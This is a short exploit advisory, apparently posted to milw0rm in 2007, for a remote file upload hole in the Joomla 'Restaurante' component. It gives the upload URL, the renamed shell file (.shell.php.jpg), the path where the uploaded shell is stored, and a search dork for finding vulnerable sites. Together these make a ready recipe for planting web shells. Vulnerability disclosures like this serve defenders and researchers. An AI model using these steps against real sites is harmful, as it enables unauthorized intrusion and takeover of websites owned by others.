38 lines
No EOL
937 B
Text
38 lines
No EOL
937 B
Text
Joomla Component Restaurante <= Remote File Upload Vulnerability
|
|
|
|
found by : Cold z3ro
|
|
|
|
Homepage : www.hackteach.org , www.xp10.com
|
|
|
|
================================================================
|
|
|
|
@################################################################@
|
|
# joomla/index.php?option=com_restaurante&task=upload
|
|
#
|
|
# /joomla/components/com_restaurante/img_original/.shell.php.jpg
|
|
#
|
|
# Dork : /index.php?option=com_restaurante
|
|
@################################################################@
|
|
|
|
|
|
Attacker can upload any file using this link
|
|
|
|
joomla/index.php?option=com_restaurante&task=upload
|
|
|
|
after upload the file , He can find it in :
|
|
|
|
/components/com_restaurante/img_original
|
|
|
|
But the attacker should add ( Point ) befor filename
|
|
|
|
Example :
|
|
|
|
if attacker uploaded file named shell.php.jpg
|
|
|
|
its name will by like this .shell.php.jpg
|
|
|
|
in path :
|
|
|
|
/components/com_restaurante/img_original/.shell.php.jpg
|
|
|
|
# milw0rm.com [2007-09-08] |